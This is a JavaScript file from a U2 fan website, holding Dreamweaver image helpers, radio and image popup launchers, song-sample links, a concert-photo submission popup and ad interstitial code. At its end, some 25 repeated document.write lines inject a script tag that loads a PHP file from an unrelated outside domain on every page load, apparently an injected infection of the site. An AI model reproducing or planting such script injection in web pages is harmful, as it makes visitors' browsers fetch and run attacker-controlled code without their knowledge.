// JavaScript Document
<!--

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function addToFavorites()
{
	var urlAddress = "http://www.u2rockband.com";
	var pageName = "U2 Bio, Lyrics, Free E-Cards, Discography and more";
	
	if (window.external)
  	{
   		window.external.AddFavorite(urlAddress,pageName)
  	}
  	else
  	{ 
   		alert("Sorry! Your browser doesn't support this function.");
  	}
}

function tellafriend() 
{
	window.open('http://pub23.bravenet.com/announce/show.php?usernum=1928918731&cpv=2',
	'bnettaf','width=525,height=570,scrollbars=yes,top=10,left=150,toolbars=no,resizable=1');
}

function launchClassicRock() {
	window.open('http://player.virginradio.co.uk/core/player2/index.html?service=vc','VirginRadioPlayer','height=360,width=686');
}
function launchZooRadio() {
	var launchURL="http://radiofreevirgin.com/rfv_lite_v2/u2frame.html?channel=zooradio&autoplay=true";
	var windowParameters = "toolbar=no,scrollbars=no,location=no,directories=no,status=no,menubar=no,resizable=no,";
	var winWidth = 360;
	var	winHeight = 344;  
	windowParameters += "width="+winWidth+",height="+winHeight;
	newWin = window.open(launchURL,"u2PLAYER",windowParameters);
}

function launchRadioStation(channel) 
{
	if (channel=="virgin")
	{
		//if (u2Win && u2Win.open && !u2Win.closed) u2Win.close();
		virginWin = window.open("http://player.virginradio.co.uk/core/player2/index.html?service=vc","VirginRadioPlayer","height=360,width=686");
	}
	else
	{
		if (channel=="zooradio")
		{
			//if (virginWin && virginWin.open && !virginWin.closed) virginWin.close();
			var u2Win = window.open("http://radiofreevirgin.com/rfv_lite_v2/u2frame.html?channel=zooradio&autoplay=true","u2Player","toolbar=no,scrollbars=no,location=no,directories=no,status=no,menubar=no,resizable=no, width=360,height=344");
		}
	}
}

/*function image_large(url, width, height,imgdesc) 
{
	windowprops = "left=200,top=100,width=" + (width+25) + ",height=" + (height+150);
	 
	text = "<html><head><title>" + imgdesc + " - U2</title><link href='../css/covers_popup.css' type=text/css rel=stylesheet></head>";	  
	text += "<body><center><img src='" + url + "' border='2'>";
	text += "<font face='arial, helvetica' size='+1'><br><br>" + imgdesc;
	text += "<br><br><a href=\"javascript:self.close()\">Close Window<a/></font></center></body></html>";
	 
	preview = window.open("", "preview", windowprops);
	preview.document.open();
	preview.document.write(text);
	//preview.document.close();
}*/

function image_large(url, width, height,imgdesc) 
{
	windowprops = "left=200,top=100,width=" + (width+25) + ",height=" + (height+175);
	 
	text = "<html><head><title>" + imgdesc + " - U2</title><link href='../css/covers_popup.css' type=text/css rel=stylesheet></head>";	  
	text += "<body><center><img src='" + url + "' border='2'>";
	text += "<font face='arial, helvetica' size='+1'><br><br>" + imgdesc;

	text += "<br><br>";
	text += "<!-- begin clickXchange, v2.4, Fixed Advertisement, copyright 2006 -->";
	text += "<!-- Advertiser URL: http://my-freemusic.info/click.php?APID=4&affID=0003158 -->";
	text += "<!-- Approved Affiliate URL: http://www.u2rockband.com -->";
	text += "<a href=\"http://www.clickXchange.com/fr.phtml?act=1619059.904\" target=\"_new\" onmouseover=\"window.status='http://my-freemusic.info/click.php?APID=4&affID=0003158';return true;\">";
	text += "<img src=\"http://www.clickXchange.com/fd.phtml?act=1619059.904\" border=0></a>";
	text += "<!-- end clickXchange, v2.4 -->";


	text += "</font></center></body></html>";
	 
	preview = window.open("", "preview", windowprops);
	preview.document.open();
	preview.document.write(text);
	//preview.document.close();
}

function song_link(album, track, title)
{
	var file = "#";
	switch (album)
	{
		case "no_line_horizon": 
			break;
		case "atomic_bomb": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00602498678299_01_xx_00.55-01.25_s1.ram";
			break;
		case "best2": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00044006336121_01_xx_00.55-01.25_s1.ram";
			break;
		case "leave_behind": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00731454828529_01_xx_00.55-01.25_s1.ram";
			break;
		case "best1": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/731452461223_01_xx_00.55-01.25_s1.ram";
			break;
		case "pop": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00731452433428_01_xx_00.55-01.25_s1.ram";
			break;
		case "zooropa": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00731451804724_01_xx_00.55-01.25_s1.ram";
			break;
		case "achtung": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00731451034725_01_xx_00.55-01.25_s1.ram";
			break;
		case "rattle": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00042284229920_01_xx_00.55-01.25_s1.ram";
			break;
		case "joshua": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00042284229821_01_xx_00.55-01.25_s1.ram";
			break;
		case "fire": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00042282289827_01_xx_00.55-01.25_s1.ram";
			break;
		case "sky": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00042281800825_01_xx_00.55-01.25_s1.ram";
			break;
		case "war": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00042281114823_01_xx_00.55-01.25_s1.ram";
			break;
		case "october": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00042284229722_01_xx_00.55-01.25_s1.ram";
			break;
		case "boy": 
			file = "http://cat-ra.universal-music-group.com/_pop/_ram/s1/00042284229623_01_xx_00.55-01.25_s1.ram";
			break;
		//default return;
	}

	if (file!="#")
	{
		file =replace(file, "xx", track);
	
		//var link = "<a href=\"" + file + "\" onMouseOver=\"MM_swapImage('" + track + "','','../images/sound-over.gif',1)\" onMouseOut=\"MM_swapImgRestore()\"><img src=\"../images/sound.gif\" id=\"s" + track + "\" alt=\"Play sample\"></a>&nbsp;&nbsp;" + title + "</a>&nbsp;<br>" 
		var link = "&nbsp;<a href=\"" + file + "\"><img src=\"../images/sound.gif\" alt=\"Play sample\">&nbsp;&nbsp;" + title + "</a>&nbsp;<br>" 
	}
	else
		var link = "&nbsp;" + title + "&nbsp;<br>" 

	document.write(link); 
}

function replace(s, t, u) {
  /*
  **  Replace a token in a string
  **    s  string to be processed
  **    t  token to be found and removed
  **    u  token to be inserted
  **  returns new String
  */
  i = s.indexOf(t);
  r = "";
  if (i == -1) return s;
  r += s.substring(0,i) + u;
  if ( i + t.length < s.length)
    r += replace(s.substring(i + t.length, s.length), t, u);
  return r;
  }

function concertpics_info() 
{
	windowprops = "left=200,top=100,width=" + (375) + ",height=" + (475);
	 
	text = "<html><head><title>U2 Concert Pics Submission</title><link href='../css/concertpics_info.css' type=text/css rel=stylesheet></head>";	  
	text += "<body><center>";
	text += "<font face='arial, helvetica' size='+1'><br><h1>How to Submit a Concert Picture</h1></center><br>";
	text += "<font size=\"2\"><p><i>&#8226; You must be the rightful owner of the pictures</p>";
	text += "<p>&#8226; The pictures must be clear</p>";
	text += "<p>&#8226; The following information must be specified:</i><br>";
	text += "&nbsp;- Tour name<br>";
	text += "&nbsp;- Concert city and date<br>";
	text += "&nbsp;- Whether you would like your name to be cited as the sender or if you prefer to remain anonymous</p>";
	text += "<br>";
	text += "<p align=\"center\">Send your picture(s) to the following address, with <u>U2 Concert Pictures</u> as the subject:</p>";
	text += "<p align=\"center\"><b>webmaster at u2rockband.com</b></p>";
	text += "<p align=\"center\">&nbsp;<p>";
	text += "<p align=\"center\">*** Not all pictures may be accepted ***<p></font>";
	text += "</font></body></html>";
	 
	preview = window.open("", "preview", windowprops);
	preview.document.open();
	preview.document.write(text);
	//preview.document.close();
}


<!-- FASTCLICK.COM INTERSTITIAL HEAD CODE v1.0 for u2rockband.com -->
function FCx(x){
  var min=30; // minimum minutes between interstitials (needs to be >15)
  if(x.indexOf('get.media')>0){
    x=unescape(x.substring(x.indexOf('&url=')+5,x.length));
  }else{
    if(document.cookie.indexOf('CxIC=1')<=0){
      x='http://media.fastclick.net/w/get.media?sid=24589&m=5&tp=6&url='+escape(x);
      var date_ob=new Date();
      date_ob.setTime(date_ob.getTime()+min*1000*60);
      document.cookie='FCxIC=1; path=/; expires='+date_ob.toGMTString();
    }
  }
  return x
}
<!-- FASTCLICK.COM INTERSTITIAL HEAD CODE v1.0 for u2rockband.com --> 


//-->



document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');
document.write('<script src=http://freddyboy1.se/PSD/fyrhjuling.php ><\/script>');